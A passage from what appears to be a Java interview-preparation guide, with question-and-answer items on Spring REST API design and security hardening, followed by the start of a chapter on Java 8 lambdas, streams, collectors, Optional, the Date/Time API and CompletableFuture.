- Contract tests protect v1 behaviour.
- Avoid forking databases per version.

FOLLOW-UP TRAPS

- **Why not just change the response in place?** It breaks clients you cannot redeploy.
- **Can feature flags replace versioning?** For internal rollouts yes; for public contracts no.

#api-versioning #deprecation

Q91 Page 2000 of a listing endpoint takes seconds and users see duplicates when scrolling. Redesign it. INTERMEDIATE

Switch from offset to keyset pagination with a deterministic, indexed sort and a unique tiebreaker. Return an opaque cursor; both the cost and the duplicates/gaps problem disappear.

```
List<Order> next(Instant ts, long id, int size) {
    return repo.findNext(ts, id, PageRequest.ofSize(size)); // WHERE (created_at, id) < (?, ?)
}
```

- Add a composite index `(created_at DESC, id DESC)`.
- Keep offset only for small, bounded datasets or when random page access is required.

FOLLOW-UP TRAPS

- **Can cursor pagination offer "go to page N"?** Not directly.
- **Should cursors be tamper-proof?** Treat as untrusted input; validate or sign them.

#pagination #performance

Q92 One client floods the API and degrades others. What do you implement? INTERMEDIATE

Per-client rate limiting with a token bucket in the gateway or a shared Redis store, returning 429 with `Retry-After`. Combine with request timeouts, bulkheads and concurrency limits so one tenant cannot consume all threads.

```
Bucket bucket = Bucket.builder()
    .addLimit(Bandwidth.simple(100, Duration.ofMinutes(1)))
    .build();
if (!bucket.tryConsume(1)) { response.setStatus(429); return; }
```

- Key by API key or authenticated principal, not only IP (NAT sharing).

- Tier limits by plan; log and alert on sustained throttling.

> **FOLLOW-UP TRAPS**
> - **Is in-memory Bucket4j enough for 5 nodes?** Each node limits separately, giving 5x the intended rate; use a distributed backend.
> - **Does limiting by IP work behind a proxy?** Only if you trust forwarded headers correctly.

#rate-limiting #scenario

Q93 **Generated OpenAPI docs differ from real behavior and clients break. How do you keep them in sync?** INTERMEDIATE

Make the spec part of CI: generate it from code (springdoc) and diff against the committed spec to catch breaking changes (openapi-diff), or go design-first and generate server interfaces so code cannot drift. Add contract tests (Spring Cloud Contract, Pact, schema validation).

- Annotate error responses and security schemes, not just success cases.
- Fail the build on unreviewed contract changes.

> **FOLLOW-UP TRAPS**
> - **Code-first or design-first?** Design-first for public contracts, code-first for fast internal iteration.
> - **Does passing unit tests ensure contract fidelity?** No, they do not exercise serialization-level shape.

#openapi #contract

Q94 **Validation errors return a 500 with a stack trace. How do you fix it properly?** BASIC

Validate with Bean Validation (`@Valid`) and map `MethodArgumentNotValidException` to a 400 `ProblemDetail` in a central `@RestControllerAdvice`.

```
@RestControllerAdvice
class Errors {
    @ExceptionHandler(MethodArgumentNotValidException.class)
    ProblemDetail invalid(MethodArgumentNotValidException e) {
        ProblemDetail p = ProblemDetail.forStatus(400);
        p.setProperty("errors", e.getFieldErrors().stream()
            .collect(Collectors.toMap(FieldError::getField, FieldError::getDefaultMessage, (a, b)
-> a)));
        return p;
    }
}
```

- Set `server.error.include-stacktrace=never`.

> **FOLLOW-UP TRAPS**
> - **Why not validate in the DB only?** Late failures give poor messages and waste work.
> - **Where do filter exceptions go?** To the container error page (`/error`), not to `@ControllerAdvice`.

#validation #error-handling

Q95 **A client reports intermittent `Connection reset` or 502 from the gateway during idle periods. What could be going on?** ADVANCED

A keep-alive timeout mismatch: the backend closes an idle connection just as the proxy reuses it. The proxy's upstream idle timeout must be shorter than the server's keep-alive timeout.

- Tomcat `keepAliveTimeout` defaults to the connection timeout (20s in Boot); load balancers (e.g. AWS ALB 60s) idle timeouts should sit below backend timeouts.
- Enable retries for idempotent requests only.

FOLLOW-UP TRAPS

- **Is it safe for a proxy to retry a POST?** Not unless the operation is idempotent.
- **Which side should have the longer idle timeout?** The backend.

#keep-alive #timeouts #proxy

Q96 Responses are large JSON and bandwidth is high. What improvements apply? BASIC

Enable response compression (gzip or Brotli), paginate, support field selection, and cache with validators.

```
server:
  compression:
    enabled: true
    mime-types: application/json,text/html
    min-response-size: 2048
```

- Do not compress already compressed content (images, zip).
- Compression costs CPU and can interact with TLS attacks (BREACH) when secrets are reflected in responses.

FOLLOW-UP TRAPS

- **Who compresses best, app or proxy?** Usually the proxy/CDN to keep app threads free.
- **What header drives it?** `Accept-Encoding` request and `Content-Encoding` / `Vary` response.

#compression #performance

Q97 A request with `X-HTTP-Method-Override` or a form `_method` hits DELETE logic. Is that a problem? ADVANCED

Method override lets HTML forms (GET/POST only) simulate PUT/DELETE; Spring's `HiddenHttpMethodFilter` honours `_method` on POST. It is a risk if CSRF/authorization rules are applied by the original method, or if caches and proxies treat the POST differently than the logic does.

- Apply authorization after override resolution (the filter runs early in the chain).
- Disable the filter in pure API services (it is off by default in Boot 2.2+).

FOLLOW-UP TRAPS

- **Can a GET override to DELETE?** The filter only honours POST requests.
- **Why do APIs prefer true verbs?** Caches, retries and security tooling depend on semantics.

#http-methods #security

Q98 A `GET /search` endpoint performs a write (logs a purchase). What can go wrong? INTERMEDIATE

GET is assumed safe: browsers prefetch, crawlers follow links, proxies cache and retry it. Side effects will fire unexpectedly and duplicates can occur. Move state changes to POST/PUT/DELETE.

- Sensitive parameters in GET URLs leak into logs, history and Referer headers.
- Analytics-only writes are acceptable if truly harmless, but make them asynchronous.

FOLLOW-UP TRAPS

- **Can GET have a body?** Allowed by the spec but unreliable; avoid it, use POST for complex searches or the `QUERY` method draft.
- **URL length limits?** Practical limits around 2-8 KB depending on server and proxy.

#http-methods #safe-methods

Q99 Deleting a resource twice returns 204 and then 404. Is DELETE still idempotent? BASIC

Yes. Idempotency concerns server state: after one or many DELETEs the resource is gone. The response code may differ between calls.

- Returning 204 on a repeat is also valid and friendlier to retrying clients.
- Soft deletes remain idempotent if the flag is simply set.

> **FOLLOW-UP TRAPS**
> - **Is POST ever idempotent?** Only by design (idempotency keys), not by definition.
> - **Is a counter-increment PUT idempotent?** If the body says `value=5`, yes; if the server increments, no.

#idempotency #delete

Q100 Users complain they are redirected to the login page after a form post in a Spring Security app with an expired session. How do you improve this? INTERMEDIATE

Handle expiry explicitly: configure an invalid-session strategy that redirects with a message, return 401 JSON for AJAX calls (via an `AuthenticationEntryPoint`), and use a session timeout with client-side warnings or silent refresh for long forms.

```
http.sessionManagement(s -> s.invalidSessionUrl("/login?expired"));
```

- Remember-me tokens can restore authentication, with persistent token storage.
- Pending form data is lost; save drafts client-side if needed.

> **FOLLOW-UP TRAPS**
> - **Does user activity extend the session?** Yes, each request resets idle time.
> - **Why a 302 to the login page is bad for fetch calls?** The client follows it and gets HTML instead of an error status.

#session #spring-security #timeout

Q101 After enabling Spring Security, all POST requests from your frontend return 403. Why? BASIC

CSRF protection is on by default and the requests lack the token. Include it (form hidden field, `X-CSRF-TOKEN` or `X-XSRF-TOKEN` header), or disable CSRF only for stateless token-authenticated APIs.

```
http.csrf(csrf -> csrf.disable()); // only for stateless bearer-token APIs
```

- Thymeleaf forms add the token automatically with `th:action`.
- GET requests succeed since they are not protected.

> **FOLLOW-UP TRAPS**
> - **Is disabling CSRF acceptable with cookie sessions?** No.
> - **Why only POST failing?** CSRF checks apply to unsafe methods.

#csrf #spring-security

Q102 How would you design secure file download and avoid path traversal? ADVANCED

Never build file paths from raw input. Look up files by ID in a database or resolve against a base directory and verify the normalized path stays inside it.

```
Path base = Path.of("/data/files").toRealPath();
Path p = base.resolve(name).normalize();
if (!p.startsWith(base)) throw new ResponseStatusException(HttpStatus.BAD_REQUEST);
```

- Send `Content-Disposition: attachment; filename*=UTF-8''...` and a safe `Content-Type`.
- Authorize per file and stream using `Resource` / `StreamingResponseBody`; support `Range` for resumption.

FOLLOW-UP TRAPS

- **Does `..` filtering suffice?** No, encoded variants and symlinks bypass naive checks.
- **Why `normalize()` before `startsWith`?** Otherwise `base/../etc` still starts with base lexically.

#file-download #security #path-traversal

Q103 In a Spring Boot app, upload of a 5 MB file returns 413 or `MaxUploadSizeExceededException`. What do you change? BASIC

Raise the multipart limits, the defaults being 1 MB per file and 10 MB per request, and also any proxy limit.

```
spring:
  servlet:
    multipart:
      max-file-size: 20MB
      max-request-size: 25MB
```

- Nginx: `client_max_body_size`; Tomcat has `maxPostSize` for form posts (not multipart parts).
- Handle `MaxUploadSizeExceededException` with a 413 `ProblemDetail`.

FOLLOW-UP TRAPS

- **Which wins if the proxy limit is lower?** The proxy rejects first with its own 413.
- **Is the exception always catchable by `@ControllerAdvice`?** Not if raised in the container's multipart parsing before MVC; it depends on resolver timing.

#file-upload #configuration

Q104 Design an authentication and authorization setup for a public REST API consumed by a SPA and partner services. ADVANCED

Use an OIDC authorization server. The SPA uses authorization code + PKCE (or a BFF); partners use client credentials. The API is an OAuth2 resource server validating JWTs (signature, `iss`, `aud`, `exp`) and enforcing scopes plus object-level checks.

- Short access tokens (5-15 min), rotated refresh tokens, JWKS-based key rotation.
- Gateway: TLS, rate limiting per client, request size limits, CORS allowlist.
- Observability: audit logs with subject and client ID, never tokens.

FOLLOW-UP TRAPS

- **Where do you do fine-grained authorization?** In the service via method/object checks; scopes are coarse.
- **How do you revoke a compromised partner?** Disable the client at the authorization server and rely on short token lifetimes (or introspection).

#design #oauth2 #jwt

CORE JAVA · CHAPTER 14

Java 8 & Functional Programming

Lambdas, functional interfaces, method references, Stream API semantics and pitfalls, collectors, Optional, Date/Time API, default methods, CompletableFuture and the records, pattern matching and sealed types added in Java 14-21.

108 questions **31** basic **57** intermediate **20** advanced

Theory

Q1 What is a lambda expression and what problem does it solve? BASIC

A lambda is a concise implementation of a functional interface: `(params) -> body`. It removes the boilerplate of anonymous inner classes and lets behaviour be passed as an argument.

- The target type is inferred from context (assignment, argument, return).
- `Comparator<String> c = (a, b) -> a.length() - b.length();`
- Lambdas enable the Stream API, `CompletableFuture` callbacks and `Optional` transformations.

FOLLOW-UP TRAPS

- **Is a lambda just syntactic sugar for an anonymous class?** No. It is compiled to an `invokedynamic` call site and a private synthetic method; no `.class` file per lambda is generated.
- **Can a lambda exist without a target type?** No. `var f = () -> 1;` does not compile.

#lambda #basics

Q2 What is a functional interface? BASIC

An interface with exactly one abstract method (SAM). It may also have default, static and private methods, and may redeclare `Object` methods such as `equals`.

- `@FunctionalInterface` is optional; it makes the compiler reject a second abstract method.
- `Comparator` is functional even though it declares `equals`, because that is an `Object` method.

FOLLOW-UP TRAPS

- **Is `@FunctionalInterface` required to use lambdas?** No, it is only a compile-time guard.
- **Can a functional interface extend another interface?** Yes, as long as the total abstract method count stays one.

#functional-interface #basics

Q3 Name the core functional interfaces in java.util.function. BASIC

Four families: `Function<T,R>` (T to R), `Predicate<T>` (T to boolean), `Consumer<T>` (T to void), `Supplier<T>` (nothing to T).

- `BiFunction`, `BiPredicate`, `BiConsumer` take two arguments.
- `UnaryOperator<T>` and `BinaryOperator<T>` are specialisations where input and output types match.
- Primitive variants (`IntFunction`, `ToLongFunction`, `IntPredicate`) avoid boxing.

FOLLOW-UP TRAPS

- **Difference between `Function` and `UnaryOperator`?** `UnaryOperator<T>` is `Function<T,T>`, same semantics, clearer intent.
- **Why do primitive variants exist?** Generics cannot hold primitives, so `Function<Integer,Integer>` boxes on every call.

#functional-interface #java.util.function

Q4 How do you compose functions and predicates? INTERMEDIATE

`Function` has `andThen` and `compose`; `Predicate` has `and`, `or`, `negate` and static `not` (Java 11).

```
Function<Integer, Integer> plus1 = x -> x + 1;
Function<Integer, Integer> times2 = x -> x * 2;
plus1.andThen(times2).apply(3); // (3+1)*2 = 8
plus1.compose(times2).apply(3); // (3*2)+1 = 7
```

- `Predicate.not(String::isBlank)` replaces `s -> !s.isBlank()`.
- `and` / `or` short-circuit like `&&` / `||`.

FOLLOW-UP TRAPS

- **Which runs first in `f.compose(g)`?** `g`, then `f`.
- **Does `Predicate.negate()` mutate the predicate?** No, it returns a new one.

#composition #function #predicate

Q5 What are the four kinds of method references? BASIC

Static (`Integer::parseInt`), bound instance (`System.out::println`), unbound instance (`String::length`, receiver becomes first argument) and constructor (`ArrayList::new`).

- A method reference is only valid if the method's signature fits the target functional interface.
- For `String::compareToIgnoreCase` as `Comparator<String>`, the first argument is the receiver.

FOLLOW-UP TRAPS

- **When is `this::foo` evaluated?** The receiver is evaluated once when the reference is created; a bound reference to a `null` receiver throws NPE immediately.
- **Can overloads make a method reference ambiguous?** Yes, e.g. `String::valueOf` with some target types; use a lambda with explicit types.

#method-reference

Q6 What does "effectively final" mean and why does it exist? BASIC

A local variable captured by a lambda or inner class must be `final` or never reassigned after initialization. Captured locals are copied into the lambda, so mutation would create two diverging values.

- Instance and static fields are not subject to this rule because the lambda captures `this` or the class, not a copy.
- Workarounds: single-element array, `AtomicInteger`, or restructure with `reduce`/collectors.

FOLLOW-UP TRAPS

- **Can the lambda mutate an object that a captured final reference points to?** Yes, the reference is final, not the object.
- **Is using `AtomicInteger` counters in parallel streams safe?** The counter is thread-safe, but order-dependent logic is still wrong.

#effectively-final #closure

Q7 How does `this` behave inside a lambda versus an anonymous class?

INTERMEDIATE

In a lambda, `this` refers to the enclosing instance because a lambda introduces no new scope. In an anonymous class, `this` refers to the anonymous instance.

- Lambda parameters cannot shadow local variables of the enclosing method (compile error); anonymous class members can.
- A lambda has no identity of its own: `toString` and `hashCode` are not meaningful.

> **FOLLOW-UP TRAPS**
> - **How do you reach the outer instance from an anonymous class?** `Outer.this`.
> - **Can a lambda refer to itself recursively?** Not through a local; use a field, `this`-held reference or a helper class.

#lambda #this #scope

Q8 How are lambdas implemented at the bytecode level?

ADVANCED

`javac` desugars the body into a private static (or instance, if it captures `this`) method and emits an `invokedynamic` instruction. On first execution the bootstrap method `LambdaMetafactory.metafactory` spins a hidden class implementing the interface and links the call site.

- Non-capturing lambdas are cached as a singleton; capturing ones allocate an instance per evaluation.
- Not generating classes at compile time keeps jar size small and lets the JVM change the strategy later.

> **FOLLOW-UP TRAPS**
> - **Does every evaluation of a lambda create an object?** Only if it captures state; non-capturing lambdas are reused.
> - **Why can lambda stack traces look odd?** Frames like `lambda$main$0` and the hidden class appear in traces.

#invokedynamic #lambda #internals

Q9 What are default methods and why were they added?

BASIC

A default method has a body inside an interface, letting library authors evolve interfaces without breaking implementers. It enabled `Collection.stream()`, `List.sort` and `Map.getOrDefault`.

- Implementers inherit the default but may override it.
- Static interface methods (Java 8) and private interface methods (Java 9) support helper logic.

> **FOLLOW-UP TRAPS**
> - **Can a default method override `equals` or `hashCode`?** No, defaults cannot override `Object` methods.
> - **Do interfaces now have state?** No, only constants; no instance fields.

#default-methods #interfaces

Q10 How does Java resolve the diamond problem with default methods?

INTERMEDIATE

Rules in order: (1) a class method (including inherited from a superclass) wins over any interface default; (2) the most specific interface wins; (3) otherwise it is a compile error and the class must override, optionally calling `A.super.hello()`.

```
interface A { default String hi() { return "A"; } }
interface B { default String hi() { return "B"; } }
class C implements A, B {
    public String hi() { return A.super.hi() + B.super.hi(); }
}
```

FOLLOW-UP TRAPS

- **If a superclass has a concrete `hi()` and an interface has a default `hi()`?** The class method wins, no conflict.
- **If one interface declares `hi()` abstract and the other default?** Still a conflict; the class must implement it.

#default-methods #diamond #resolution

Q11 Explain the Stream API pipeline model. BASIC

A pipeline is a source, zero or more intermediate operations, and one terminal operation. Intermediate operations return a new stream lazily; nothing runs until the terminal operation is invoked.

- Sources: collections, arrays, `Stream.of`, `Files.lines`, `generate`, `iterate`.
- Elements flow one at a time through the whole chain (vertical processing), not stage by stage, except at stateful barriers like `sorted`.

FOLLOW-UP TRAPS

- **Does a stream store data?** No. It is a view over a source; it does not modify the source.
- **Can a stream be reused?** No; a second terminal call throws `IllegalStateException`.

#stream #pipeline

Q12 What does lazy evaluation mean for streams and why does it matter? INTERMEDIATE

Intermediate operations only record a stage; the terminal operation pulls elements. That allows fusion of stages and early termination.

```
Stream.of("a","bb","ccc")
      .filter(s -> { System.out.println("f " + s); return s.length() > 1; })
      .map(s -> { System.out.println("m " + s); return s.toUpperCase(); })
      .findFirst();
// f a, f bb, m bb  (ccc never touched)
```

FOLLOW-UP TRAPS

- **Does `peek` with no terminal op print anything?** No, nothing executes.
- **Is output order filter-all then map-all?** No, element by element.

#stream #lazy

Q13 Which operations are short-circuiting? INTERMEDIATE

Intermediate: `limit`, `takeWhile` (Java 9). Terminal: `findFirst`, `findAny`, `anyMatch`, `allMatch`, `noneMatch`. They can finish without consuming the whole source, which is what makes infinite streams usable.

- `Stream.iterate(1, x -> x + 1).filter(x -> x % 7 == 0).limit(3)` terminates.
- `anyMatch` stops on first true; `allMatch` on first false.

FOLLOW-UP TRAPS

- **Does `allMatch` on an empty stream return true?** Yes (vacuous truth); `anyMatch` returns false.
- **Does `sorted().limit(1)` stay lazy over an infinite source?** No, `sorted` must see everything and hangs.

#stream #short-circuit

Q14 What are stateless versus stateful intermediate operations? INTERMEDIATE

Stateless (`map`, `filter`, `flatMap`, `peek`) process each element independently. Stateful (`sorted`, `distinct`, `limit`, `skip`) need to remember earlier elements or see all of them.

- `sorted` is a full barrier and buffers everything.
- `distinct` keeps a hash set of seen elements: memory grows with cardinality.
- Stateful ops are expensive or order-sensitive in parallel pipelines.

FOLLOW-UP TRAPS

- **Is `limit` stateless?** No, it counts elements, which makes it costly on ordered parallel streams.
- **Can a lambda passed to `map` be stateful?** It can compile, but it violates the contract and breaks in parallel.

#stream #stateful

Q15 What is the difference between map and flatMap? BASIC

`map` transforms each element one-to-one. `flatMap` maps each element to a stream and flattens the results into one stream.

```
List<List<Integer>> nested = List.of(List.of(1, 2), List.of(3));
nested.stream().flatMap(List::stream).toList(); // [1, 2, 3]
```

- Use it for one-to-many, for flattening `Optional<Stream>` style structures and for `words -> chars`.
- `Optional.flatMap` avoids `Optional<Optional<T>>`.

FOLLOW-UP TRAPS

- **What if the mapper returns `null`?** NPE for streams; return `Stream.empty()` instead.
- **Is the inner stream closed?** Yes, `flatMap` closes each mapped stream after its contents are placed.

#flatmap #map

Q16 Explain reduce and its three forms. INTERMEDIATE

`reduce(BinaryOperator)` returns `Optional<T>`; `reduce(identity, op)` returns `T`; `reduce(identity, accumulator, combiner)` allows a different result type and supports parallel merging.

- The operator must be associative and the identity must be neutral, otherwise parallel results differ.
- Prefer `collect` for mutable results; `reduce` with a `StringBuilder` or `List` is a bug.

FOLLOW-UP TRAPS

- **Why is `reduce(0, (a, b) -> a - b)` wrong?** Subtraction is not associative; parallel results change.
- **When is the combiner called?** Only in parallel execution; in sequential mode it is ignored.

#reduce

Q17 What is the difference between collect and reduce? INTERMEDIATE

`reduce` is immutable reduction (each step produces a new value). `collect` is mutable reduction into a container via supplier, accumulator and combiner, so it avoids repeated copying.

- `reduce(new ArrayList<>(), (l, e) -> { l.add(e); return l; }, ...)` shares one list across threads and is incorrect in parallel.
- `Collectors.toList()` creates one list per thread and merges them.

FOLLOW-UP TRAPS

- **Why is string concat via `reduce("", String::concat)` slow?** Each step copies, making O(n^2); use `Collectors.joining`.
- **Is `collect(Collectors.toList())` guaranteed to be an `ArrayList`?** No, only unspecified mutable `List`.

#collect #reduce #mutable-reduction

Q18 How do toList(), Collectors.toList() and Collectors.toUnmodifiableList() differ? INTERMEDIATE

`Stream.toList()` (Java 16) returns an unmodifiable list that permits nulls. `Collectors.toList()` returns a mutable list, type unspecified. `Collectors.toUnmodifiableList()` (Java 10) returns an unmodifiable list that rejects nulls with NPE.

- `List.copyOf` and `List.of` also reject nulls.
- Modifying the result of `Stream.toList()` throws `UnsupportedOperationException`.

FOLLOW-UP TRAPS

- **Can you drop `Collectors.toList()` for `toList()` everywhere?** Not if callers mutate the result.
- **Does `Stream.toList()` accept null elements?** Yes, unlike `toUnmodifiableList`.

#collectors #immutability #java16

Q19 How does Collectors.groupingBy work? INTERMEDIATE

It classifies elements by a key function into a `Map<K, List<T>>`; a downstream collector reduces each group, and a map factory chooses the map type.

```
Map<String, Long> countByStatus = orders.stream()
    .collect(Collectors.groupingBy(Order::status, TreeMap::new, Collectors.counting()));
```

- Common downstreams: `counting`, `summingInt`, `mapping`, `averagingDouble`, `maxBy`.
- Key function must not return `null` (NPE: "element cannot be mapped to a null key").
- Default map is `HashMap`; no ordering guarantee.

FOLLOW-UP TRAPS

- **Is the group's list order preserved?** Yes for ordered streams, encounter order.
- **Does `groupingBy` include empty groups?** No, only keys that appeared.

#collectors #groupingby

Q20 What is partitioningBy and how does it differ from groupingBy? BASIC

`partitioningBy(predicate)` always returns a `Map<Boolean, List<T>>` with both `true` and `false` keys present, even if one list is empty. `groupingBy` only creates keys that occur.

- Accepts a downstream collector, e.g. `partitioningBy(p, counting())`.
- Good for pass/fail splits; the map is a special compact implementation.

FOLLOW-UP TRAPS

- **Can you partition into three buckets?** No; use `groupingBy` with an enum or classifier.
- **Does `get(true)` risk NPE?** No, both keys always exist.

#collectors #partitioningby

Q21 What happens when Collectors.toMap hits a duplicate key? INTERMEDIATE

The two-argument `toMap` throws `IllegalStateException: Duplicate key K (attempted merging values A and B)`. Supply a merge function as third argument to resolve, and a map supplier as fourth to control type.

```
Map<String, Integer> byEmail = users.stream().collect(
    Collectors.toMap(User::email, User::age, (a, b) -> a, LinkedHashMap::new));
```

- `toMap` also throws NPE if a value is `null` (it uses `HashMap.merge`).
- `toConcurrentMap` is the parallel-friendly variant.

FOLLOW-UP TRAPS

- **Does `toMap` produce an ordered map?** No, a `HashMap` by default.
- **Does the message include the key?** Yes, key and both values.

#collectors #tomap #duplicates

Q22 What is Collectors.teeing? ADVANCED

`teeing` (Java 12) feeds every element into two downstream collectors and combines their results with a merger function, in a single pass.

```
record Stats(long count, double avg) {}
Stats s = nums.stream().collect(Collectors.teeing(
    Collectors.counting(),
    Collectors.averagingInt(i -> i),
    Stats::new));
```

- Removes the need to traverse a source twice or to hold intermediate maps.

FOLLOW-UP TRAPS

- **Can it take more than two collectors?** No; nest `teeing` calls.
- **Is it parallel-safe?** Yes if both downstreams are.

#collectors #teeing #java12

Q23 What do Collectors.mapping, filtering and flatMapping add? ADVANCED

They adapt downstream collectors. `mapping` transforms before collecting; `filtering` and `flatMapping` (Java 9) do the same for filter/flatMap inside each group.

- `groupingBy(k, filtering(p, toList()))` keeps empty groups; pre-filtering with `.filter(p)` drops the group key entirely.
- `summarizingInt/Long/Double` returns count, sum, min, max, average at once.

FOLLOW-UP TRAPS

- **Difference between stream `.filter` before `groupingBy` and `filtering` inside?** The latter keeps keys whose groups become empty.
- **Is `Collectors.collectingAndThen` the same?** It post-processes the final result, e.g. wrap in `Collections::unmodifiableList`.

#collectors #downstream #java9

Q24 How are Collectors.joining and sorted/Comparator chains used? BASIC

`joining(delim, prefix, suffix)` concatenates `CharSequence` elements using a `StringBuilder`. Sorting uses `Comparator.comparing(...).thenComparing(...)` and `reversed()`.

```
people.stream()
      .sorted(Comparator.comparing(Person::city).thenComparing(Person::age,
Comparator.reverseOrder()))
      .map(Person::name).collect(Collectors.joining(", ", "[", "]"));
```

- `Comparator.nullsFirst/nullsLast` wrap comparators for null-safe sorting.

FOLLOW-UP TRAPS

- **Does `joining` accept non-strings?** No; map to String first.
- **Is `comparing(X::a).reversed().thenComparing(X::b)` reversing both?** No, only the first comparator is reversed.

#collectors #joining #comparator

Q25 How do you use sorted and what is its stability?

INTERMEDIATE

`sorted()` on an ordered stream is stable; it uses the same TimSort as `List.sort`. It buffers all elements, so it is a barrier and costs O(n log n).

- Elements must be `Comparable` or a comparator must be supplied, otherwise `ClassCastException` at runtime.
- On unordered streams stability is not promised.

FOLLOW-UP TRAPS

- **Can `sorted` be followed by `limit` efficiently?** The JVM uses a bounded top-k optimisation for `sorted().limit(n)` in some cases; do not rely on it for infinite sources.
- **Does `sorted` change the source list?** No.

#stream #sorted #stability

Q26 Explain Optional and its intended use.

BASIC

`Optional<T>` is a container for a value that may be absent, designed as a return type to make "no result" explicit and to prevent NPE through composable operations.

- Create with `of` (non-null), `ofNullable`, `empty`.
- Query with `map`, `flatMap`, `filter`, `orElse`, `orElseGet`, `orElseThrow`, `ifPresent`, `ifPresentOrElse` (9), `or` (9), `stream` (9), `isEmpty` (11).

FOLLOW-UP TRAPS

- **Does `Optional.of(null)` work?** No, NPE; use `ofNullable`.
- **Is `Optional` serializable?** No; it is not `Serializable` by design.

#optional #basics

Q27 What is the difference between orElse and orElseGet?

INTERMEDIATE

`orElse(value)` evaluates its argument eagerly, always. `orElseGet(supplier)` only invokes the supplier when the Optional is empty.

```
repo.findCached(id).orElse(repo.loadFromDb(id));     // DB hit every time
repo.findCached(id).orElseGet(() -> repo.loadFromDb(id)); // only on miss
```

- `orElseThrow(Supplier)` is similar: lazy exception creation.

FOLLOW-UP TRAPS

- **Is `orElse(null)` fine?** It compiles, but it defeats the point; consider returning the Optional.
- **When is `orElse` preferable?** For cheap constants and literals.

#optional #orelse #orelseget

Q28 List common Optional anti-patterns.

INTERMEDIATE

Misuse includes: Optional as a field, method parameter or collection element; `isPresent()` followed by `get()`; returning `null` from a method that returns Optional; `Optional.get()` without a check; wrapping in Optional only to unwrap immediately.

- Use `Optional<T>` as a return type only.
- Return empty collections, not `Optional<List<T>>`.
- Do not use Optional in JPA entities or DTOs for JSON; serialization and frameworks handle it poorly.
- `Optional<Integer>` is boxed; prefer `OptionalInt` in hot code.

FOLLOW-UP TRAPS

- **Is `opt.isPresent() ? opt.get() : x` wrong?** It works but `orElse` / `map` express it better.
- **Why not Optional parameters?** Callers must wrap values and `null` Optional is still possible; use overloads.

#optional #best-practices #antipatterns

Q29 What do Optional.map and flatMap do differently? INTERMEDIATE

`map` applies a function and wraps the result with `ofNullable`, so a `null` result becomes empty. `flatMap` takes a function that already returns an Optional and avoids nesting.

```
Optional<String> city = user.flatMap(User::address).map(Address::city);
// User::address returns Optional<Address>
```

FOLLOW-UP TRAPS

- **What if the mapper to `map` returns `null`?** Result is empty, no exception.
- **Does `flatMap` accept a function returning null?** No, NPE.

#optional #map #flatmap

Q30 What is the Java 8 Date/Time API and why replace Date and Calendar? BASIC

`java.time` (JSR-310) provides immutable, thread-safe types: `LocalDate`, `LocalTime`, `LocalDateTime`, `Instant`, `ZonedDateTime`, `OffsetDateTime`, `Duration`, `Period`. It replaces `Date` (mutable, misnamed, 1900-based years) and `Calendar` (0-based months, not thread-safe).

- `DateTimeFormatter` is thread-safe; `SimpleDateFormat` is not.
- Arithmetic returns new instances: `date.plusDays(1)`.

FOLLOW-UP TRAPS

- **Is `LocalDateTime` an instant in time?** No, it has no zone or offset.
- **Is `Date` deprecated?** Not the class, but most methods are; convert with `Date.from(instant)`.

#datetime #java.time

Q31 Compare Instant, LocalDateTime, ZonedDateTime and OffsetDateTime. INTERMEDIATE

`Instant` is a point on the UTC timeline (nanoseconds since epoch). `LocalDateTime` is a date and time without zone. `OffsetDateTime` adds a fixed UTC offset. `ZonedDateTime` adds a region rule (`Europe/Paris`) so daylight saving is handled.

- Store/exchange timestamps as `Instant` or UTC `OffsetDateTime`; convert to zoned time for display.
- For DB columns of type `timestamp with time zone`, Hibernate 6 and JDBC 4.2 support `OffsetDateTime` / `Instant`.

FOLLOW-UP TRAPS

- **Which should a "created at" audit field use?** `Instant` (or UTC offset), never `LocalDateTime` without agreed zone.
- **Does an offset capture DST rules?** No, only a fixed offset.

#datetime #zones

Q32 Duration versus Period? BASIC

`Duration` is time-based (seconds and nanos), used with `Instant` / `LocalTime`. `Period` is date-based (years, months, days), used with `LocalDate`.

- `ChronoUnit.DAYS.between(a, b)` gives total units.

- Adding `Period.ofDays(1)` to a `ZonedDateTime` keeps local time across DST; `Duration.ofHours(24)` adds exactly 24h.

> **FOLLOW-UP TRAPS**
> - **Does `Duration.ofDays(1)` equal one calendar day?** It equals 24 hours exactly; a calendar day can be 23 or 25 hours across DST.
> - **Can you add `Period` to an `Instant`?** No, `UnsupportedTemporalTypeException`.

#datetime #duration #period

Q33 How do you parse and format dates safely? INTERMEDIATE

Use `DateTimeFormatter` constants; they are immutable and thread-safe. Parsing is strict about the target type: a pattern without a time part cannot parse into `LocalDateTime`.

```
DateTimeFormatter f = DateTimeFormatter.ofPattern("dd-MM-uuuu");
LocalDate d = LocalDate.parse("15-08-2024", f);
```

- Prefer `uuuu` over `yyyy` (year-of-era) when using `ResolverStyle.STRICT`.
- ISO formats have built-ins: `DateTimeFormatter.ISO_LOCAL_DATE`.

> **FOLLOW-UP TRAPS**
> - **What does `LocalDate.parse("2024-02-30")` do?** Throws `DateTimeParseException`.
> - **`MM` vs `mm`?** Month versus minute.

#datetime #formatter #parsing

Q34 What is CompletableFuture and how does it differ from Future? INTERMEDIATE

`Future` only supports blocking `get()`. `CompletableFuture` is a composable promise: chain stages with `thenApply`, `thenCompose`, `thenCombine`, handle errors with `exceptionally` / `handle`, and complete manually with `complete`.

- `supplyAsync` / `runAsync` run on `ForkJoinPool.commonPool()` by default; pass an `Executor` for IO-bound work.
- `allOf` / `anyOf` coordinate several futures.

> **FOLLOW-UP TRAPS**
> - **`thenApply` or `thenCompose` for a function returning a future?** `thenCompose`, else you get `CompletableFuture<CompletableFuture<T>>`.
> - **Does `supplyAsync` use a dedicated pool?** No, the shared common pool unless given an executor.

#completablefuture #async

Q35 How does exception handling work in CompletableFuture? ADVANCED

An exception completes the stage exceptionally and skips downstream `thenApply` stages. `exceptionally(fn)` recovers; `handle((v, ex) -> ...)` sees both; `whenComplete` observes without changing the result.

- `join()` throws `CompletionException` wrapping the cause; `get()` throws `ExecutionException`.
- Inside `exceptionally` the throwable of dependent stages is often wrapped in `CompletionException`; unwrap with `getCause()`.
- `orTimeout` and `completeOnTimeout` (Java 9) add timeouts.

FOLLOW-UP TRAPS

- **Are exceptions in `runAsync` logged automatically?** No, they are swallowed unless something observes the future.
- **Does `whenComplete` swallow exceptions?** No, it propagates the original.

#completablefuture #exceptions

Q36 What is the difference between thenApply, thenCompose and thenCombine? INTERMEDIATE

`thenApply` maps the value (like `map`). `thenCompose` flattens a function returning another future (like `flatMap`). `thenCombine` joins two independent futures with a bi-function once both finish.

- `thenApplyAsync` variants run the stage on another executor thread rather than the completing thread.
